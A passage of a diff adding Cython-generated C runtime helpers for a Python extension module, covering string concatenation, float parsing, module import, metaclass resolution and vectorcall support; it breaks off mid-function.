*__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ) { + PyObject *left = *p_left; + Py_ssize_t left_len, right_len, new_len; + if (unlikely(__Pyx_PyUnicode_READY(left) == -1)) + return NULL; + if (unlikely(__Pyx_PyUnicode_READY(right) == -1)) + return NULL; + left_len = PyUnicode_GET_LENGTH(left); + if (left_len == 0) { + Py_INCREF(right); + return right; + } + right_len = PyUnicode_GET_LENGTH(right); + if (right_len == 0) { + Py_INCREF(left); + return left; + } + if (unlikely(left_len > PY_SSIZE_T_MAX - right_len)) { + PyErr_SetString(PyExc_OverflowError, + "strings are too large to concat"); + return NULL; + } + new_len = left_len + right_len; + if (__Pyx_unicode_modifiable(left) + && PyUnicode_CheckExact(right) + && PyUnicode_KIND(right) <= PyUnicode_KIND(left) + && !(PyUnicode_IS_ASCII(left) && !PyUnicode_IS_ASCII(right))) { + int ret; + __Pyx_GIVEREF(*p_left); + ret = PyUnicode_Resize(p_left, new_len); + __Pyx_GOTREF(*p_left); + if (unlikely(ret != 0)) + return NULL; + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(*p_left, left_len, right, 0, right_len) < 0)) return NULL; + #else + _PyUnicode_FastCopyCharacters(*p_left, left_len, right, 0, right_len); + #endif + __Pyx_INCREF(*p_left); + __Pyx_GIVEREF(*p_left); + return *p_left; + } else { + return __Pyx_PyUnicode_Concat(left, right); + } + } +#endif + +/* pybytes_as_double */ + static double __Pyx_SlowPyString_AsDouble(PyObject *obj) { + PyObject *float_value; +#if PY_MAJOR_VERSION >= 3 + float_value = PyFloat_FromString(obj); +#else + float_value = PyFloat_FromString(obj, 0); +#endif + if (likely(float_value)) { +#if CYTHON_ASSUME_SAFE_MACROS + double value = PyFloat_AS_DOUBLE(float_value); +#else + double value = PyFloat_AsDouble(float_value); +#endif + Py_DECREF(float_value); + return value; + } + return (double)-1; +} +static const char* __Pyx__PyBytes_AsDouble_Copy(const char* start, char* buffer, Py_ssize_t length) { + int last_was_punctuation = 1; + Py_ssize_t i; + for (i=0; i < length; i++) { + char chr = start[i]; + int is_punctuation = (chr == '_') | (chr == '.') | (chr == 'e') | (chr == 'E'); + *buffer = chr; + buffer += (chr != '_'); + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyBytes_AsDouble_inf_nan(const char* start, Py_ssize_t length) { + int matches = 1; + char sign = start[0]; + int is_signed = (sign == '+') | (sign == '-'); + start += is_signed; + length -= is_signed; + switch (start[0]) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + matches &= (start[1] == 'a' || start[1] == 'A'); + matches &= (start[2] == 'n' || start[2] == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + matches &= (start[1] == 'n' || start[1] == 'N'); + matches &= (start[2] == 'f' || start[2] == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + matches &= (start[3] == 'i' || start[3] == 'I'); + matches &= (start[4] == 'n' || start[4] == 'N'); + matches &= (start[5] == 'i' || start[5] == 'I'); + matches &= (start[6] == 't' || start[6] == 'T'); + matches &= (start[7] == 'y' || start[7] == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static CYTHON_INLINE int __Pyx__PyBytes_AsDouble_IsSpace(char ch) { + return (ch == 0x20) | !((ch < 0x9) | (ch > 0xd)); +} +CYTHON_UNUSED static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length) { + double value; + Py_ssize_t i, digits; + const char *last = start + length; + char *end; + while (__Pyx__PyBytes_AsDouble_IsSpace(*start)) + start++; + while (start < last - 1 && __Pyx__PyBytes_AsDouble_IsSpace(last[-1])) + last--; + length = last - start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyBytes_AsDouble_inf_nan(start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + digits = 0; + for (i=0; i < length; digits += start[i++] != '_'); + if (likely(digits == length)) { + value = PyOS_string_to_double(start, &end, NULL); + } else if (digits < 40) { + char number[40]; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((digits + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} + +/* pyobject_as_double */ + static double __Pyx__PyObject_AsDouble(PyObject* obj) { + if (PyUnicode_CheckExact(obj)) { + return __Pyx_PyUnicode_AsDouble(obj); + } else if (PyBytes_CheckExact(obj)) { + return __Pyx_PyBytes_AsDouble(obj); + } else if (PyByteArray_CheckExact(obj)) { + return __Pyx_PyByteArray_AsDouble(obj); + } else { + PyObject* float_value; +#if !CYTHON_USE_TYPE_SLOTS + float_value = PyNumber_Float(obj); if ((0)) goto bad; + (void)__Pyx_PyObject_CallOneArg; +#else + PyNumberMethods *nb = Py_TYPE(obj)->tp_as_number; + if (likely(nb) && likely(nb->nb_float)) { + float_value = nb->nb_float(obj); + if (likely(float_value) && unlikely(!PyFloat_Check(float_value))) { + __Pyx_TypeName float_value_type_name = __Pyx_PyType_GetName(Py_TYPE(float_value)); + PyErr_Format(PyExc_TypeError, + "__float__ returned non-float (type " __Pyx_FMT_TYPENAME ")", + float_value_type_name); + __Pyx_DECREF_TypeName(float_value_type_name); + Py_DECREF(float_value); + goto bad; + } + } else { + float_value = __Pyx_PyObject_CallOneArg((PyObject*)&PyFloat_Type, obj); + } +#endif + if (likely(float_value)) { + double value = PyFloat_AS_DOUBLE(float_value); + Py_DECREF(float_value); + return value; + } + } +bad: + return (double)-1; +} + +/* PyObjectCallMethod0 */ + static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name) { + PyObject *method = NULL, *result = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_CallOneArg(method, obj); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) goto bad; + result = __Pyx_PyObject_CallNoArg(method); + Py_DECREF(method); +bad: + return result; +} + +/* ValidateBasesTuple */ + #if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases) { + Py_ssize_t i, n; +#if CYTHON_ASSUME_SAFE_MACROS + n = PyTuple_GET_SIZE(bases); +#else + n = PyTuple_Size(bases); + if (n < 0) return -1; +#endif + for (i = 1; i < n; i++) + { +#if CYTHON_AVOID_BORROWED_REFS + PyObject *b0 = PySequence_GetItem(bases, i); + if (!b0) return -1; +#elif CYTHON_ASSUME_SAFE_MACROS + PyObject *b0 = PyTuple_GET_ITEM(bases, i); +#else + PyObject *b0 = PyTuple_GetItem(bases, i); + if (!b0) return -1; +#endif + PyTypeObject *b; +#if PY_MAJOR_VERSION < 3 + if (PyClass_Check(b0)) + { + PyErr_Format(PyExc_TypeError, "base class '%.200s' is an old-style class", + PyString_AS_STRING(((PyClassObject*)b0)->cl_name)); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } +#endif + b = (PyTypeObject*) b0; + if (!__Pyx_PyType_HasFeature(b, Py_TPFLAGS_HEAPTYPE)) + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "base class '" __Pyx_FMT_TYPENAME "' is not a heap type", b_name); + __Pyx_DECREF_TypeName(b_name); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + if (dictoffset == 0) + { + Py_ssize_t b_dictoffset = 0; +#if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + b_dictoffset = b->tp_dictoffset; +#else + PyObject *py_b_dictoffset = PyObject_GetAttrString((PyObject*)b, "__dictoffset__"); + if (!py_b_dictoffset) goto dictoffset_return; + b_dictoffset = PyLong_AsSsize_t(py_b_dictoffset); + Py_DECREF(py_b_dictoffset); + if (b_dictoffset == -1 && PyErr_Occurred()) goto dictoffset_return; +#endif + if (b_dictoffset) { + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "extension type '%.200s' has no __dict__ slot, " + "but base type '" __Pyx_FMT_TYPENAME "' has: " + "either add 'cdef dict __dict__' to the extension type " + "or add '__slots__ = [...]' to the base type", + type_name, b_name); + __Pyx_DECREF_TypeName(b_name); + } +#if !(CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY) + dictoffset_return: +#endif +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + } +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + } + return 0; +} +#endif + +/* PyType_Ready */ + static int __Pyx_PyType_Ready(PyTypeObject *t) { +#if CYTHON_USE_TYPE_SPECS || !(CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API) || defined(PYSTON_MAJOR_VERSION) + (void)__Pyx_PyObject_CallMethod0; +#if CYTHON_USE_TYPE_SPECS + (void)__Pyx_validate_bases_tuple; +#endif + return PyType_Ready(t); +#else + int r; + PyObject *bases = __Pyx_PyType_GetSlot(t, tp_bases, PyObject*); + if (bases && unlikely(__Pyx_validate_bases_tuple(t->tp_name, t->tp_dictoffset, bases) == -1)) + return -1; +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + { + int gc_was_enabled; + #if PY_VERSION_HEX >= 0x030A00b1 + gc_was_enabled = PyGC_Disable(); + (void)__Pyx_PyObject_CallMethod0; + #else + PyObject *ret, *py_status; + PyObject *gc = NULL; + #if PY_VERSION_HEX >= 0x030700a1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM+0 >= 0x07030400) + gc = PyImport_GetModule(__pyx_kp_u_gc); + #endif + if (unlikely(!gc)) gc = PyImport_Import(__pyx_kp_u_gc); + if (unlikely(!gc)) return -1; + py_status = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_isenabled); + if (unlikely(!py_status)) { + Py_DECREF(gc); + return -1; + } + gc_was_enabled = __Pyx_PyObject_IsTrue(py_status); + Py_DECREF(py_status); + if (gc_was_enabled > 0) { + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_disable); + if (unlikely(!ret)) { + Py_DECREF(gc); + return -1; + } + Py_DECREF(ret); + } else if (unlikely(gc_was_enabled == -1)) { + Py_DECREF(gc); + return -1; + } + #endif + t->tp_flags |= Py_TPFLAGS_HEAPTYPE; +#if PY_VERSION_HEX >= 0x030A0000 + t->tp_flags |= Py_TPFLAGS_IMMUTABLETYPE; +#endif +#else + (void)__Pyx_PyObject_CallMethod0; +#endif + r = PyType_Ready(t); +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + t->tp_flags &= ~Py_TPFLAGS_HEAPTYPE; + #if PY_VERSION_HEX >= 0x030A00b1 + if (gc_was_enabled) + PyGC_Enable(); + #else + if (gc_was_enabled) { + PyObject *tp, *v, *tb; + PyErr_Fetch(&tp, &v, &tb); + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_enable); + if (likely(ret || r == -1)) { + Py_XDECREF(ret); + PyErr_Restore(tp, v, tb); + } else { + Py_XDECREF(tp); + Py_XDECREF(v); + Py_XDECREF(tb); + r = -1; + } + } + Py_DECREF(gc); + #endif + } +#endif + return r; +#endif +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *module = 0; + PyObject *empty_dict = 0; + PyObject *empty_list = 0; + #if PY_MAJOR_VERSION < 3 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (unlikely(!py_import)) + goto bad; + if (!from_list) { + empty_list = PyList_New(0); + if (unlikely(!empty_list)) + goto bad; + from_list = empty_list; + } + #endif + empty_dict = PyDict_New(); + if (unlikely(!empty_dict)) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.') != NULL) { + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, 1); + if (unlikely(!module)) { + if (unlikely(!PyErr_ExceptionMatches(PyExc_ImportError))) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_MAJOR_VERSION < 3 + PyObject *py_level = PyInt_FromLong(level); + if (unlikely(!py_level)) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, __pyx_d, empty_dict, from_list, py_level, (PyObject *)NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, level); + #endif + } + } +bad: + Py_XDECREF(empty_dict); + Py_XDECREF(empty_list); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_import); + #endif + return module; +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + const char* module_name_str = 0; + PyObject* module_name = 0; + PyObject* module_dot = 0; + PyObject* full_name = 0; + PyErr_Clear(); + module_name_str = PyModule_GetName(module); + if (unlikely(!module_name_str)) { goto modbad; } + module_name = PyUnicode_FromString(module_name_str); + if (unlikely(!module_name)) { goto modbad; } + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__30); + if (unlikely(!module_dot)) { goto modbad; } + full_name = PyUnicode_Concat(module_dot, name); + if (unlikely(!full_name)) { goto modbad; } + #if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + { + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + goto modbad; + value = PyObject_GetItem(modules, full_name); + } + #else + value = PyImport_GetModule(full_name); + #endif + modbad: + Py_XDECREF(full_name); + Py_XDECREF(module_dot); + Py_XDECREF(module_name); + } + if (unlikely(!value)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* Py3UpdateBases */ + static PyObject* +__Pyx_PEP560_update_bases(PyObject *bases) +{ + Py_ssize_t i, j, size_bases; + PyObject *base, *meth, *new_base, *result, *new_bases = NULL; + size_bases = PyTuple_GET_SIZE(bases); + for (i = 0; i < size_bases; i++) { + base = PyTuple_GET_ITEM(bases, i); + if (PyType_Check(base)) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + meth = __Pyx_PyObject_GetAttrStrNoError(base, __pyx_n_s_mro_entries); + if (!meth && PyErr_Occurred()) { + goto error; + } + if (!meth) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + new_base = __Pyx_PyObject_CallOneArg(meth, bases); + Py_DECREF(meth); + if (!new_base) { + goto error; + } + if (!PyTuple_Check(new_base)) { + PyErr_SetString(PyExc_TypeError, + "__mro_entries__ must return a tuple"); + Py_DECREF(new_base); + goto error; + } + if (!new_bases) { + if (!(new_bases = PyList_New(i))) { + goto error; + } + for (j = 0; j < i; j++) { + base = PyTuple_GET_ITEM(bases, j); + PyList_SET_ITEM(new_bases, j, base); + Py_INCREF(base); + } + } + j = PyList_GET_SIZE(new_bases); + if (PyList_SetSlice(new_bases, j, j, new_base) < 0) { + goto error; + } + Py_DECREF(new_base); + } + if (!new_bases) { + Py_INCREF(bases); + return bases; + } + result = PyList_AsTuple(new_bases); + Py_DECREF(new_bases); + return result; +error: + Py_XDECREF(new_bases); + return NULL; +} + +/* CalculateMetaclass */ + static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { + Py_ssize_t i, nbases; +#if CYTHON_ASSUME_SAFE_MACROS + nbases = PyTuple_GET_SIZE(bases); +#else + nbases = PyTuple_Size(bases); + if (nbases < 0) return NULL; +#endif + for (i=0; i < nbases; i++) { + PyTypeObject *tmptype; +#if CYTHON_ASSUME_SAFE_MACROS + PyObject *tmp = PyTuple_GET_ITEM(bases, i); +#else + PyObject *tmp = PyTuple_GetItem(bases, i); + if (!tmp) return NULL; +#endif + tmptype = Py_TYPE(tmp); +#if PY_MAJOR_VERSION < 3 + if (tmptype == &PyClass_Type) + continue; +#endif + if (!metaclass) { + metaclass = tmptype; + continue; + } + if (PyType_IsSubtype(metaclass, tmptype)) + continue; + if (PyType_IsSubtype(tmptype, metaclass)) { + metaclass = tmptype; + continue; + } + PyErr_SetString(PyExc_TypeError, + "metaclass conflict: " + "the metaclass of a derived class " + "must be a (non-strict) subclass " + "of the metaclasses of all its bases"); + return NULL; + } + if (!metaclass) { +#if PY_MAJOR_VERSION < 3 + metaclass = &PyClass_Type; +#else + metaclass = &PyType_Type; +#endif + } + Py_INCREF((PyObject*) metaclass); + return (PyObject*) metaclass; +} + +/* PyObjectLookupSpecial */ + #if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error) { + PyObject *res; + PyTypeObject *tp = Py_TYPE(obj); +#if PY_MAJOR_VERSION < 3 + if (unlikely(PyInstance_Check(obj))) + return with_error ? __Pyx_PyObject_GetAttrStr(obj, attr_name) : __Pyx_PyObject_GetAttrStrNoError(obj, attr_name); +#endif + res = _PyType_Lookup(tp, attr_name); + if (likely(res)) { + descrgetfunc f = Py_TYPE(res)->tp_descr_get; + if (!f) { + Py_INCREF(res); + } else { + res = f(res, obj, (PyObject *)tp); + } + } else if (with_error) { + PyErr_SetObject(PyExc_AttributeError, attr_name); + } + return res; +} +#endif + +/* Py3ClassCreate */ + static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, + PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { + PyObject *ns; + if (metaclass) { + PyObject *prep = __Pyx_PyObject_GetAttrStrNoError(metaclass, __pyx_n_s_prepare); + if (prep) { + PyObject *pargs[3] = {NULL, name, bases}; + ns = __Pyx_PyObject_FastCallDict(prep, pargs+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, mkw); + Py_DECREF(prep); + } else { + if (unlikely(PyErr_Occurred())) + return NULL; + ns = PyDict_New(); + } + } else { + ns = PyDict_New(); + } + if (unlikely(!ns)) + return NULL; + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; +#if PY_VERSION_HEX >= 0x03030000 + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; +#else + CYTHON_MAYBE_UNUSED_VAR(qualname); +#endif + if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; + return ns; +bad: + Py_DECREF(ns); + return NULL; +} +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS +static int __Pyx_SetNamesPEP487(PyObject *type_obj) { + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *names_to_set, *key, *value, *set_name, *tmp; + Py_ssize_t i = 0; +#if CYTHON_USE_TYPE_SLOTS + names_to_set = PyDict_Copy(type->tp_dict); +#else + { + PyObject *d = PyObject_GetAttr(type_obj, __pyx_n_s_dict); + names_to_set = NULL; + if (likely(d)) { + PyObject *names_to_set = PyDict_New(); + int ret = likely(names_to_set) ? PyDict_Update(names_to_set, d) : -1; + Py_DECREF(d); + if (unlikely(ret < 0)) + Py_CLEAR(names_to_set); + } + } +#endif + if (unlikely(names_to_set == NULL)) + goto bad; + while (PyDict_Next(names_to_set, &i, &key, &value)) { + set_name = __Pyx_PyObject_LookupSpecialNoError(value, __pyx_n_s_set_name); + if (unlikely(set_name != NULL)) { + tmp = __Pyx_PyObject_Call2Args(set_name, type_obj, key); + Py_DECREF(set_name); + if (unlikely(tmp == NULL)) { + __Pyx_TypeName value_type_name = + __Pyx_PyType_GetName(Py_TYPE(value)); + __Pyx_TypeName type_name = __Pyx_PyType_GetName(type); + PyErr_Format(PyExc_RuntimeError, +#if PY_MAJOR_VERSION >= 3 + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %R " "in '" __Pyx_FMT_TYPENAME "'", + value_type_name, key, type_name); +#else + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %.100s in '" __Pyx_FMT_TYPENAME "'", + value_type_name, + PyString_Check(key) ? PyString_AS_STRING(key) : "?", + type_name); +#endif + goto bad; + } else { + Py_DECREF(tmp); + } + } + else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } + Py_DECREF(names_to_set); + return 0; +bad: + Py_XDECREF(names_to_set); + return -1; +} +static PyObject *__Pyx_InitSubclassPEP487(PyObject *type_obj, PyObject *mkw) { +#if CYTHON_USE_TYPE_SLOTS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *mro = type->tp_mro; + Py_ssize_t i, nbases; + if (unlikely(!mro)) goto done; + (void) &__Pyx_GetBuiltinName; + Py_INCREF(mro); + nbases = PyTuple_GET_SIZE(mro); + assert(PyTuple_GET_ITEM(mro, 0) == type_obj); + for (i = 1; i < nbases-1; i++) { + PyObject *base, *dict, *meth; + base = PyTuple_GET_ITEM(mro, i); + dict = ((PyTypeObject *)base)->tp_dict; + meth = __Pyx_PyDict_GetItemStrWithError(dict, __pyx_n_s_init_subclass); + if (unlikely(meth)) { + descrgetfunc f = Py_TYPE(meth)->tp_descr_get; + PyObject *res; + Py_INCREF(meth); + if (likely(f)) { + res = f(meth, NULL, type_obj); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + meth = res; + } + res = __Pyx_PyObject_FastCallDict(meth, NULL, 0, mkw); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + Py_DECREF(res); + goto done; + } else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } +done: + Py_XDECREF(mro); + return type_obj; +bad: + Py_XDECREF(mro); + Py_DECREF(type_obj); + return NULL; +#else + PyObject *super_type, *super, *func, *res; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + super_type = __Pyx_GetBuiltinName(__pyx_n_s_super); +#else + super_type = (PyObject*) &PySuper_Type; + (void) &__Pyx_GetBuiltinName; +#endif + super = likely(super_type) ? __Pyx_PyObject_Call2Args(super_type, type_obj, type_obj) : NULL; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + Py_XDECREF(super_type); +#endif + if (unlikely(!super)) { + Py_CLEAR(type_obj); + goto done; + } + func = __Pyx_PyObject_GetAttrStrNoError(super, __pyx_n_s_init_subclass); + Py_DECREF(super); + if (likely(!func)) { + if (unlikely(PyErr_Occurred())) + Py_CLEAR(type_obj); + goto done; + } + res = __Pyx_PyObject_FastCallDict(func, NULL, 0, mkw); + Py_DECREF(func); + if (unlikely(!res)) + Py_CLEAR(type_obj); + Py_XDECREF(res); +done: + return type_obj; +#endif +} +#endif +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, + PyObject *dict, PyObject *mkw, + int calculate_metaclass, int allow_py2_metaclass) { + PyObject *result; + PyObject *owned_metaclass = NULL; + PyObject *margs[4] = {NULL, name, bases, dict}; + if (allow_py2_metaclass) { + owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); + if (owned_metaclass) { + metaclass = owned_metaclass; + } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { + PyErr_Clear(); + } else { + return NULL; + } + } + if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { + metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); + Py_XDECREF(owned_metaclass); + if (unlikely(!metaclass)) + return NULL; + owned_metaclass = metaclass; + } + result = __Pyx_PyObject_FastCallDict(metaclass, margs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, +#if PY_VERSION_HEX < 0x030600A4 + (metaclass == (PyObject*)&PyType_Type) ? NULL : mkw +#else + mkw +#endif + ); + Py_XDECREF(owned_metaclass); +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS + if (likely(result) && likely(PyType_Check(result))) { + if (unlikely(__Pyx_SetNamesPEP487(result) < 0)) { + Py_CLEAR(result); + } else { + result = __Pyx_InitSubclassPEP487(result, mkw); + } + } +#else + (void) &__Pyx_GetBuiltinName; +#endif + return result; +} + +/* PyVectorcallFastCallDict */ + #if CYTHON_METH_FASTCALL +static PyObject *__Pyx_PyVectorcall_FastCallDict_kw(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + PyObject *res = NULL; + PyObject *kwnames; + PyObject **newargs; + PyObject **kwvalues; + Py_ssize_t i, pos; + size_t j; + PyObject *key, *value; + unsigned long keys_are_strings; + Py_ssize_t nkw = PyDict_GET_SIZE(kw); + newargs = (PyObject **)PyMem_Malloc((nargs + (size_t)nkw) * sizeof(args[0])); + if (unlikely(newargs == NULL)) { + PyErr_NoMemory(); + return NULL; + } + for (j = 0; j < nargs; j++) newargs[j] = args[j]; + kwnames = PyTuple_New(nkw); + if (unlikely(kwnames == NULL)) { + PyMem_Free(newargs); + return NULL; + } + kwvalues = newargs + nargs; + pos = i = 0; + keys_are_strings = Py_TPFLAGS_UNICODE_SUBCLASS; + while (PyDict_Next(kw, &pos, &key, &value)) { + keys_are_strings &= Py_TYPE(key)->tp_flags; + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(kwnames, i, key); + kwvalues[i] = value; + i++; + } + if (unlikely(!keys_are_strings)) { + PyErr_SetString(PyExc_TypeError, "keywords must be strings"); + goto cleanup; + } + res = vc(func, newargs, nargs, kwnames); +cleanup: + Py_DECREF(kwnames); + for (i = 0; i < nkw; i++) + Py_DECREF(kwvalues[i]); + PyMem_Free(newargs); + return res; +} +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + if (likely(kw == NULL) || PyDict_GET_SIZE(kw) == 0) { + return vc(func, args, nargs, NULL); + } + return __Pyx_PyVectorcall_FastCallDict_kw(func, vc, args, nargs, kw); +} +#endif + +/* CythonFunctionShared */ + #if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + if (__Pyx_CyFunction_Check(func)) { + return PyCFunction_GetFunction(((__pyx_CyFunctionObject*)func)->func) == (PyCFunction) cfunc; + } else if (PyCFunction_Check(func)) { + return PyCFunction_GetFunction(func) == (PyCFunction) cfunc; + } + return 0; +} +#else +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + return __Pyx_CyOrPyCFunction_Check(func) && __Pyx_CyOrPyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +} +#endif +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj) { +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + __Pyx_Py_XDECREF_SET( + __Pyx_CyFunction_GetClassObj(f), + ((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#else + __Pyx_Py_XDECREF_SET( + ((PyCMethodObject *) (f))->mm_class, + (PyTypeObject*)((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#endif +} +static PyObject * +__Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, void *closure) +{ + CYTHON_UNUSED_VAR(closure); + if (unlikely(op->func_doc == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_doc = PyObject_GetAttrString(op->func, "__doc__"); + if (unlikely(!op->func_doc)) return NULL; +#else + if (((PyCFunctionObject*)op)->m_ml->ml_doc) { +#if PY_MAJOR_VERSION >= 3 + op->func_doc = PyUnicode_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#else + op->func_doc = PyString_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#endif + if (unlikely(op->func_doc == NULL)) + return NULL; + } else { + Py_INCREF(Py_None); + return Py_None; + } +#endif + } + Py_INCREF(op->func_doc); + return op->func_doc; +} +static int +__Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (value == 